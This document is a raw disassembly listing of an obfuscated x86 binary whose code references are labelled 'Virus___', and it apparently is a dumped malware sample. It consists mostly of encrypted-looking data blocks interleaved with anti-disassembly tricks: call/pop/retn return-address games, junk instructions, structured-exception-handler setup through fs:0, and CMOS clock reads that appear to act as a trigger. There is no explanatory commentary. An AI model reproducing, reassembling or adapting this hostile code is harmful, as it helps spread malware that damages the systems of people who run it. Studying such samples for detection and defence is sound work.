		dd 68Bh, 0ED9D3300h, 89095D22h,	5D129595h, 9595FF09h, 6A095D2Fh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 5CB1C357h, 0F8C015E6h, 0FFF88B66h, 60A564B5h
		dd 53006A09h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 81F3EBDAh, 7A3BB7F5h, 179595FFh,	6A095Dh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 6865F9C3h, 3EE8EB19h, 60915C0Ah, 0E9D88B66h,	0Fh, 37AAC6ACh
		dd 0B4655D39h, 22040714h, 61C7C0B1h, 22499531h,	0BD83095Dh
		dd 95D0B11h, 42840F02h,	8B000000h, 5D221585h, 53006A09h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 5F2067B6h, 23258589h, 9D8B095Dh, 95D06C5h, 500000C6h
		dd 0C7C5D781h, 295F6CBDh, 5D265DBDh, 4585C709h,	95D05h
		dd 31000000h, 5D195585h, 0F2A8E909h, 6AFFFFh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 0CD9657C3h
		dd 11E997h, 9CEA0000h, 5FF3A918h, 0FBBCE79Bh, 9D788C7h
		dd 8B20C422h, 50006AC1h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 118F0452h, 38EC5B05h, 858D12E5h
		dd 95D2239h, 7A5BD23h, 8B90095Dh, 299050DFh, 5D07158Dh
		dd 0C8B0F09h, 0F000000h, 685h, 25BD8B00h, 6A095D26h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 0FB8B474Eh, 490AB960h, 0D8815660h, 49FCFA1Eh, 6A006A61h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 0EE04C356h, 0BF0F73F2h, 2A858DDAh, 660961C1h
		dd 89379FBFh, 5D0C9195h, 5C08309h, 50DBE780h, 52DB87BFh
		dd 24048971h, 81858B60h, 0B4095D03h, 6A61DFh, 12E8h, 2E789E00h
		dd 69EFC990h, 49A07FB7h, 713B040Eh, 8BCD23B6h, 5D0CF1BDh
		dd 6A5F09h, 68D0Fh, 95290000h, 95D0581h, 85195FFh, 11E9095Dh
		dd 0B7000000h, 0F3AAFA18h, 1E8A6316h, 6ADDC589h, 726728C4h
		dd 914C8D8Dh, 8F0F0960h, 6, 5799589h, 8D89095Dh, 95D2EE9h
		dd 6AD1FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 695D55C3h, 0BF661915h, 8D0F7755h,	4, 8997BB66h
		dd 971BD83h, 0F01095Dh,	0BD85h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0B58F680Bh
		dd 8CB30F6Dh, 0FDF8B15h, 687h, 219D8B00h, 6A095D1Fh, 52006A02h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0B87B8586h, 0AC6FBDFCh, 1071B589h, 5090095Dh, 6A90DA8Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 8289C357h, 0BD8BF81Fh, 95D0809h, 2A5D8589h
		dd 95FF095Dh, 95D14C9h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 88C35141h, 1083F807h,	1AF36EC5h, 0E2D8BFD9h
		dd 0A6E9143Bh, 0E800000Dh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 961C134h
		mov	di, si
		mov	di, 472Bh
		lea	eax, [ebp+9608AE2h]
		jbe	$+6
		nop
		jmp	loc_5B6C90
; ---------------------------------------------------------------------------
		dd 6610CED7h, 7E98C993h, 2F0F9912h
; ---------------------------------------------------------------------------


loc_5B6C90:				; CODE XREF: Virus___:005B6C7Fj
		push	eax
		call	sub_5B6CA8
		fist	dword ptr [ebp+0Ch]
		inc	ebp
		lock cld
		mov	ch, 0DCh
		hlt
; ---------------------------------------------------------------------------
		db 0E4h
		dd 4A4914D6h, 7E11C605h

; =============== S U B	R O U T	I N E =======================================



sub_5B6CA8	proc near		; CODE XREF: Virus___:005B6C91p
		mov	edi, ecx
		pop	ebx
		nop
		push	0
		push	eax
		call	sub_5B6CB7
		and	[eax-3Dh], bl
sub_5B6CA8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5B6CB7	proc near		; CODE XREF: sub_5B6CA8+7p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5B6CB7	endp

; ---------------------------------------------------------------------------
		mov	al, 6Fh
		ja	loc_5B6CD5
		xor	[ebp+95D2AB5h],	ebx


loc_5B6CD5:				; CODE XREF: Virus___:005B6CC9j
		movsx	edi, ax
		mov	[ebp+95D23EDh],	ebx
		push	large dword ptr	fs:0
		push	0
		push	ebp
		call	sub_5B6CF0
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B6CF0	proc near		; CODE XREF: Virus___:005B6CE8p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_5B6CF0	endp

; ---------------------------------------------------------------------------
		dd 82A580B0h, 0FBBF0F23h, 258964h, 66000000h, 0F9C3DB81h
		dd 216985FFh, 0DE8095Dh, 4F000000h, 0A181270Ch,	839791EFh
		dd 0A2CF3061h, 100D8589h, 6A5F095Dh, 51006AFFh,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 8F1F6F26h
		dd 0D98B6657h, 39B5FF5Bh, 33095D10h, 5D2355BDh,	8595FF09h
		dd 0E9095D03h, 113h, 2B5BD89h, 0B0095Dh, 1F5DBD8Bh, 70E6095Dh
		dd 71E4DA8Bh, 342FDF81h, 613C3D00h, 0F1830Fh, 85090000h
		dd 95D1A01h, 66C8B60Fh,	13CECB81h, 6BAh, 0EF816600h, 0C18B55E3h
		dd 0F6DBD8Bh, 0E8C1095Dh, 79BB6604h, 0E2F76607h, 2BDFBF0Fh
		dd 0CE8C8h, 1FF0000h, 151F153Fh, 80CF7E7Fh, 6FBB064Ah
		dd 5F5FB83Fh, 0E960D18Bh, 10h, 0B839E81Ch, 0E11BAF9Ah
		dd 0D8DCF92Ah, 62939133h, 91D88166h, 88E96176h,	80000000h
		dd 858B9AE3h, 1, 271BD2Bh, 13E9095Dh, 93000000h, 0A73C94D1h
		dd 39951EBEh, 862D45E3h, 0A978AFE1h, 0C083FA93h, 0DA8B6607h
		dd 8900C083h, 5D0421B5h, 0FD03B09h, 1183h, 0F7BF6600h
		dd 41E9DDh, 81560000h, 838830CFh, 8D8B5F67h, 0FFFFFFFFh
		dd 83F98B66h, 840F01E1h, 27h, 33D99589h, 0A583095Dh, 0FFFFFFFFh
		dd 8C0FFEh, 8B000000h, 5D0775BDh, 1958909h, 66000000h
		dd 0E9DE8Bh, 8D000000h,	61302CB5h, 51006A09h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0FD2A8D0Ah
		dd 0CA4B8516h, 8F0F6A8Dh, 6, 8BD9D8Bh, 6A095Dh,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 4AC35646h, 13E8C5h
		dd 0ED370000h, 6C9C7E7Ah, 11D9E5B9h, 0A8323B2Fh, 91FB8687h
		dd 9EBF660Bh, 81665F3Ah, 0FFF8F8DBh, 5D11B195h,	55006A09h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 0DACA6649h, 50C2BBF0h, 3830FB5h, 66000000h, 3CB9DE8Bh
		dd 0FC000011h, 0FE8B6660h, 0F2E4EBBh, 0E183617Eh, 0E19D01FCh
		dd 0FC095D16h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	19C35040h, 0E9D84E5Ch, 9, 1FCB39EDh, 1C39444Bh
		dd 6AC02BC6h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0C61FC356h, 8257496Bh,	499D8BEDh
		dd 80095D15h, 0BA3EDBh,	6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 4AFDC350h
		dd 40521771h, 89B4108Ch, 5D2FA185h, 13E909h, 761A0000h
		dd 58139D9Fh, 0EA1BA201h, 0B531B021h, 6BCFEFFFh, 0C233ADC0h
		dd 0D003E8D1h, 7504E983h, 70BB60F4h, 804106D0h,	6A611DEFh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 3ABAC350h, 0F2BF668Eh, 880DBCh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 7EE667C3h, 0BD8B9150h, 95D1441h, 8B9AEF80h, 5D091995h
		dd 53006A09h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 9B78E1D9h, 0E81CDB3Eh, 1009BD89h, 8D8B095Dh
		dd 95D1349h, 0AE5BD8Bh,	8B50095Dh, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 2AC35242h, 0BFF7FA2Fh, 68C0F19h, 89000000h
		dd 5D03A1BDh, 6E909h, 3BA00000h, 0F5EF056Dh, 4820Fh, 0BB660000h
		dd 0BD8380CAh, 95D3169h, 5C840F00h, 66000000h, 0B8941ABBh
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5B70FF
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B70FF	proc near		; CODE XREF: Virus___:005B70F7p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5B70FF	endp

; ---------------------------------------------------------------------------
		rol	cl, 0ACh
		xchg	eax, edi
		xor	al, 8Fh
		shl	dword ptr [ecx+46h], 6
		movsx	edi, ax
		lea	ecx, [ebp+95D4D92h]
		push	0
		push	esi
		call	sub_5B712D
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B712D	proc near		; CODE XREF: Virus___:005B7125p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5B712D	endp

; ---------------------------------------------------------------------------
		db 77h,	0D9h, 0FFh
		dd 0A5BD8BE1h, 83095D28h, 5D15F9BDh, 840F0009h,	463h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 31C35141h, 0C073AA7Ah
		dd 0C9EF8169h, 83562AF1h, 5D15F9BDh, 840F0109h,	44Ah, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 88C35242h, 1FBDEC4Eh
		dd 9AD9BC0Dh, 0F9BD83F8h, 3095D15h, 3E2860Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 0D8D54CC3h, 0BFDAB70Fh, 1D30CAD4h, 14E860h, 88030000h
		dd 4355E083h, 0FB1280C7h, 290C794Dh, 104E240Eh,	0EE9C1E6h
		dd 51000000h, 826A2BA0h, 0DD6BAA82h, 0A8A96FE0h, 8C665FE4h
		dd 0D9BD8BD9h, 80095D31h, 890F04E1h, 8,	71B50157h, 5F095D27h
		dd 1DE38166h, 0FC90A8Ah, 10984h, 0AD9D8B00h, 8B095D24h
		dd 5D2C0D85h, 52006A09h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 7426501Dh, 0FCED3927h, 27658533h
		dd 0B70F095Dh, 8E950F8h, 34000000h, 0E063341Bh,	89AFFF75h
		dd 0C3812404h, 69994E84h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 0D4DFC8C3h, 1870Fh, 50FC0000h
		dd 5F48D380h, 0DE285368h, 5E566036h, 0AE8h, 49E52900h
		dd 0F271A19h, 60B442EDh, 81615A61h, 2BAC2434h, 7DBB36C1h
		dd 0FF3BB673h, 5D0FAD95h, 56006A09h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 9E8EDh, 62D90000h
		dd 0E5CA335Bh, 660922ECh, 65EFCF81h, 6485895Bh,	6A0960A5h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 0CEE9C356h, 0E921DD32h, 1CFh, 941B509h, 858B095Dh
		dd 960A55Ch, 11DD8589h,	0C7095Dh, 18h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 5CC35343h, 0C3C94CA0h, 0F9858988h
		dd 8B095D20h, 60A560B5h, 57006A09h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 0E426406Ch, 12880Fh, 880F0000h
		dd 0Ch,	7E9h, 94718900h, 1BB4829Ch, 3151858Bh, 9D0B095Dh
		dd 95D1AA9h, 95890689h,	95D04BDh, 2C0D858Bh, 0EE9095Dh
		dd 19000000h, 0ED0F271Ah, 9D5BB442h, 10D8237h, 446893Dh
		dd 0F59D3352h, 5B095D05h, 0EE9h, 9782D100h, 0BB4937BAh
		dd 0C7D6A9F5h, 96CD1F7Dh, 68E0Fh, 870F0000h, 0
		dd 0BD8B9650h, 95D2075h, 5CB5FFFCh, 310960A5h, 5D2A91BDh
		dd 4E809h, 3FF0000h, 0DE8A001Fh, 890F50h, 8B000000h, 51042444h
		dd 2CBE50BFh, 8B5B75h, 0DE9h, 0BB99E600h, 0E90CB925h, 75A810F0h
		dd 4489EA37h, 8B660424h, 6A58FBh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 89E27BC3h, 5D0C559Dh
		dd 28D0F09h, 8A000000h,	64858DDCh, 600960A5h, 0BE9h, 56DBA800h
		dd 68A4CF42h, 0FD6B8A3Eh, 9615850h, 5D14ADB5h, 50509009h
		dd 905B98B7h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 15h,	22C35242h, 1D953182h, 0FF095D31h, 5D0FAD95h, 57006A09h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 10E950E1h, 1C000000h, 0B1FB6668h, 0CED787DFh, 0C9936610h
		dd 61127E98h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 16h,	0E1C35040h, 5DBBD739h, 0C71C4987h, 5D15F985h, 309h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 58F96E6Bh, 6DEBBC77h, 0A564BD83h, 0F000960h
		dd 3784h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 0BAE98665h, 6F1F0F09h, 28E996BEh
		dd 0E8000000h, 7, 7B99264Fh, 5F92881Ch,	110C3050h, 1114400h
		dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 0FC08B00h, 684h
		dd 0D9D8B00h, 23095D21h, 5D06E59Dh, 8160F509h, 0D0292AC6h
		dd 10E929h, 626A0000h, 128FAF0Eh, 89E71EC0h, 1F4286ECh
		dd 836110B8h, 5D15F9BDh, 850F0309h, 3C4h, 0F9EA8A60h, 64BD8361h
		dd 960A5h, 3B2840Fh, 0B5FF0000h, 960A564h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 38C35646h, 67E4B3E7h
		dd 0BD8B088Eh, 95D11D5h, 0A4195FFh, 8D89095Dh, 95D26C9h
		dd 0A558B58Bh, 0BF660960h, 6C7C6DAh, 10001h, 0F50D88Bh
		dd 48Ch, 9FBB6600h, 243489E3h, 11E9h, 0A26F9300h, 85630709h
		dd 2097C836h, 9F6FA6EFh, 0B5FFC6DCh, 960A564h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 61C35242h, 9FDEC540h
		dd 6AC7FDB5h, 853150C6h, 95D24C9h, 0FD95FF5Fh, 6A095D05h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 8E31C356h, 19B22472h, 324D2ABDh, 862393BFh
		dd 0C1BD8B17h, 8B095D26h, 60A558B5h, 840F5309h,	0
; ---------------------------------------------------------------------------
		pop	ebx
		mov	eax, [ebp+95D304Dh]
		push	0
		push	edi
		call	sub_5B7736
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B7736	proc near		; CODE XREF: Virus___:005B772Ep

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_5B7736	endp

; ---------------------------------------------------------------------------
		dw 6CFCh
; ---------------------------------------------------------------------------
		sbb	edi, esp
		mov	[esi+0C4h], eax
		movzx	edi, bx
		mov	edx, [ebp+95D0919h]
		push	0
		push	edi
		call	sub_5B7764
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B7764	proc near		; CODE XREF: Virus___:005B775Cp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_5B7764	endp

; ---------------------------------------------------------------------------
		adc	byte ptr [esi+1Bh], 3Eh
		pop	ebx
		das
		and	eax, 0CE11C9BBh
		xor	[edi], cl
		mov	bh, 0DAh
		add	edx, 4
		mov	di, 2BBBh
		mov	[eax+20h], edx
		mov	[ebp+95D2645h],	edi
		lea	eax, [ebp+960BBC1h]
		jo	loc_5B77A5
		mov	[ebp+95D2971h],	ecx


loc_5B77A5:				; CODE XREF: Virus___:005B7799j
		mov	[esi+0B8h], eax
		mov	bh, ah
		push	0
		push	0
		push	ebx
		call	sub_5B77BA
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B77BA	proc near		; CODE XREF: Virus___:005B77B2p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5B77BA	endp

; ---------------------------------------------------------------------------
		dw 0FA4Ch
		dd 794EBF76h, 8960A74Fh, 5D03118Dh, 0D98B6609h,	64B5FF61h
		dd 0E80960A5h, 0Eh, 2D738D9Dh, 63A5C3D4h, 0DBB0163h, 0BB668520h
		dd 0FF5FA638h, 5D14C995h, 55006A09h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0F2FBE9F9h
		dd 8B50A3BEh, 243489DAh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 14h, 2CC35747h, 860Fh, 0B5FF0000h,	960A564h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 35C35545h
		dd 1B023BDFh, 0D8B70F0Ah, 14E8h, 0DB2A7B00h, 1176C428h
		dd 0CD433B4Eh, 640AD6E2h, 0A2FAE0A2h, 619D0BA6h, 5F095D18h
		dd 137D95FFh, 0D98B095Dh, 19D1BD83h, 0F00095Dh,	5F84h
		dd 6800F00h, 89000000h,	5D2EE9B5h, 8B669609h, 7E850D8h
		dd 18000000h, 0C11BCF9Fh, 0EE82675h, 2000000h, 7B947681h
		dd 55183889h, 5BE0C92Bh, 2F55BB39h, 5F5B544Eh, 50006A96h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 74129B8Ch, 9D8BB8F3h, 95D06BDh, 0A564B5FFh, 81660960h
		dd 0FFB210F3h, 5D2F9595h, 51006A09h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 478CA502h
		dd 2FAE5055h, 0D6BB66F5h, 64B5FF1Eh, 6A0960A5h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 778EC350h, 0FF293222h, 5D179595h, 3BBB6609h,	15BD8911h
		dd 83095D14h, 5D0B11BDh, 840F0209h, 5Eh, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Ah, 5CC35141h, 0E0C6D21Fh
		dd 858981BEh, 95D2395h,	2215858Bh, 0B589095Dh, 95D1341h
		dd 6A0000C6h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 0F469C350h, 8B390FD3h,	5D29019Dh
		dd 85C7F809h, 95D0545h,	0
		dd 8F19BB66h, 0FFF33EE9h, 6800FFFh, 89000000h, 5D129595h
		dd 8BC18B09h, 39858DDEh, 6A095D22h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 1799C350h
		dd 0FD322EAAh, 8B0472AEh, 5D04B99Dh, 8B665009h,	240489FBh
		dd 6ADA8Ah, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 17h,	6EC35747h, 8BDB6DC9h, 5D2F659Dh, 68F0F09h, 33000000h
		dd 5D0C859Dh, 6A006A09h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 0E830C356h,	0E983DF0Dh
		dd 0E8420D9Dh, 8, 0F977EB7Eh, 7467BAE7h, 8D895BFCh, 95D1991h
		dd 0D11F858Dh, 6A0961h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 0BDDFE7C3h, 0B5896057h, 95D08A1h
		dd 83F55F61h, 6A05C0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 0F4373C3h, 6690D8BFh, 505D47BBh
		dd 38E0Fh, 8B660000h, 6AF990F9h, 2880F00h, 8B000000h, 6A006ADFh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 8856C355h, 0AEDC071Ch, 9E9h, 0DA5D4C00h
		dd 0DADE46E9h, 95FFF72Ch, 95D0851h, 0DA0ABB66h,	914C8D8Dh
		dd 6A0960h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 838DADC3h, 877BDAD7h, 8D296C23h, 95D1361h
		dd 8D89D1FFh, 95D1021h,	9E9h, 3A508100h, 807909ECh, 0BD8374D4h
		dd 95D0971h, 0A8850F01h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 1857C357h
		dd 14E90F9Ah, 0FE000000h, 1664BE4Dh, 3971145Eh,	0F268B847h
		dd 0FFD0A33Dh, 6AB5A850h, 56006A02h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 16A8DBAAh
		dd 0EE8BAh, 222D0000h, 0AC752780h, 0F5F52F6Bh, 0F04414C3h
		dd 19718D89h, 505B095Dh, 8B240489h, 5D063DBDh, 0C995FF09h
		dd 6A095D14h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 7020C352h, 0AE43861Fh,	0E973FB18h
		dd 0DCEh, 0E8h,	0ED815D00h, 961D129h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 0D0C35040h,	0AEB82D8Fh, 0CB816007h
		dd 6B9B398Fh, 2A81858Bh, 8D61095Dh, 608AE285h, 51006A09h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 79D9FD7Fh, 0B3F3730h, 0FA8B903Fh, 46FABB50h,	6A906677h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 7AFEC357h, 0FF968961h, 0B7E2CBC6h, 35FF64B8h
		dd 0
; ---------------------------------------------------------------------------
		mov	ebx, 2496C7B9h
		mov	large fs:0, esp
		call	sub_5B7D0F
		icebp
		xchg	eax, esi
		test	dword ptr [ebx], 598EE6F7h
		cmp	ch, [ebx-644BFD96h]

; =============== S U B	R O U T	I N E =======================================



sub_5B7D0F	proc near		; CODE XREF: Virus___:005B7CFCp
		mov	bx, 7EE0h
		pop	edi
		inc	dword ptr [ebp+95D2169h]
		or	[ebp+95D11C1h],	esi


loc_5B7D20:				; CODE XREF: Virus___:loc_5B89F1j
		push	0FFFFFFFFh
		mov	ebx, 798D8E66h
		push	dword ptr [ebp+95D20CDh]
		push	0
		push	ebx
		call	sub_5B7D38
		and	[ebx-3Dh], bl
sub_5B7D0F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5B7D38	proc near		; CODE XREF: sub_5B7D0F+21p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5B7D38	endp

; ---------------------------------------------------------------------------
		mov	al, ds:0DD9589B3h
		xor	bl, [ebp+9]
		call	dword ptr [ebp+95D0385h]
		jmp	loc_5B7EA7
; ---------------------------------------------------------------------------
		or	di, 5330h
		mov	al, 0
		jmp	loc_5B7D71
; ---------------------------------------------------------------------------
		db 2Bh
; ---------------------------------------------------------------------------
		imul	ebx, [ebx+30h],	5F254979h
		popf
		push	ebx


loc_5B7D71:				; CODE XREF: Virus___:005B7D62j
		mov	di, 0B026h
		out	70h, al		; CMOS Memory:
					; used by real-time clock
		mov	edi, [ebp+95D09B1h]
		mov	edi, eax
		in	al, 71h		; CMOS Memory
		push	ebx
		jmp	loc_5B7D91
; ---------------------------------------------------------------------------
		db 0F9h
		dd 4B44CDC5h, 2ED4E2EBh
		db 0B4h
; ---------------------------------------------------------------------------


loc_5B7D91:				; CODE XREF: Virus___:005B7D82j
		pop	ebx
		cmp	al, 61h
		jnb	loc_5B7EA7
		push	ebx
		mov	[ebp+95D31A5h],	ebx
		pop	edi
		movzx	ecx, al
		ja	loc_5B7DB1
		add	[ebp+95D04F5h],	ebx


loc_5B7DB1:				; CODE XREF: Virus___:005B7DA5j
		mov	edx, 6
		adc	ebx, 789B508Bh
		mov	eax, ecx
		mov	bh, 29h
		shr	eax, 4
		jnp	$+6
		mul	dx
		or	bh, 5
		add	bh, 0F3h
		sub	ecx, eax
		call	near ptr loc_5B7DE6+1
		mov	cl, [edx-37974117h]
		imul	ebp, edx, 55512467h


loc_5B7DE6:				; CODE XREF: Virus___:005B7DD4p
		cmp	al, [eax-74A43725h]
		ror	dword ptr [ecx+5D305185h], 1
		or	ecx, ebp
		scasd
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------
		mov	ebx, edx
		mov	ebx, 5E82855Fh
		mov	eax, [ebp+8]
		mov	[ebp+95D03D9h],	ebx
		add	eax, 7
		xor	[ebp+95D24A5h],	ebx
		mov	ebx, ecx
		add	eax, 0
		mov	ebx, [ebp+95D0571h]
		cmp	edx, eax
		jnb	loc_5B7E7A
		jmp	loc_5B7E3D
; ---------------------------------------------------------------------------
		dd 358FE8A2h, 9F02D71Bh, 45FD5349h, 118962C7h
		db 7Fh
; ---------------------------------------------------------------------------


loc_5B7E3D:				; CODE XREF: Virus___:005B7E27j
		jmp	loc_5B7E55
; ---------------------------------------------------------------------------
		dw 9696h
		dd 1151283Eh, 0D8A028D7h, 4C705737h, 51AD5439h
		db 3Ch
; ---------------------------------------------------------------------------


loc_5B7E55:				; CODE XREF: Virus___:loc_5B7E3Dj
		jmp	loc_5B7EA7
; ---------------------------------------------------------------------------
		dw 14E8h
		dd 20000000h, 6FC1D527h, 78F1C340h, 0B606360Bh,	0D4EE4E1Ah
		dd 8907224Ah, 5D08F5BDh
		db 9, 5Bh
; ---------------------------------------------------------------------------


loc_5B7E7A:				; CODE XREF: Virus___:005B7E21j
		mov	ecx, [ebp-1]
		mov	edi, ebx
		and	ecx, 1
		jz	loc_5B7EA7
		clc
		and	dword ptr [ebp-1], 0FFFFFFFEh
		adc	bh, 9Ch
		mov	[ebp+8], edx
		sub	[ebp+95D3379h],	eax
		jmp	$+5


loc_5B7EA7:				; CODE XREF: Virus___:005B7D56j
					; Virus___:005B7D94j ...
		lea	esi, [ebp+9614168h]
		mov	ebx, [ebp+95D18D5h]
		push	0
		mov	[ebp+95D02C9h],	esi
		call	dword ptr [ebp+95D11B1h]
		mov	ebx, 76EF8456h
		mov	ecx, 102Ah
		push	0
		push	edx
		call	sub_5B7ED6
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B7ED6	proc near		; CODE XREF: Virus___:005B7ECEp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_5B7ED6	endp

; ---------------------------------------------------------------------------
		dw 0DC36h
		dd 544A9ECFh, 3536C24h,	5D0FEDBDh, 14E95F09h, 99000000h
		dd 0C36ED572h, 0C11ED247h, 0E0B1C2E2h, 96A7E4F3h, 831AB31Dh
		dd 0DA8BFCE1h, 320CBBFCh, 0B82A74h, 29000000h, 5D2F19BDh
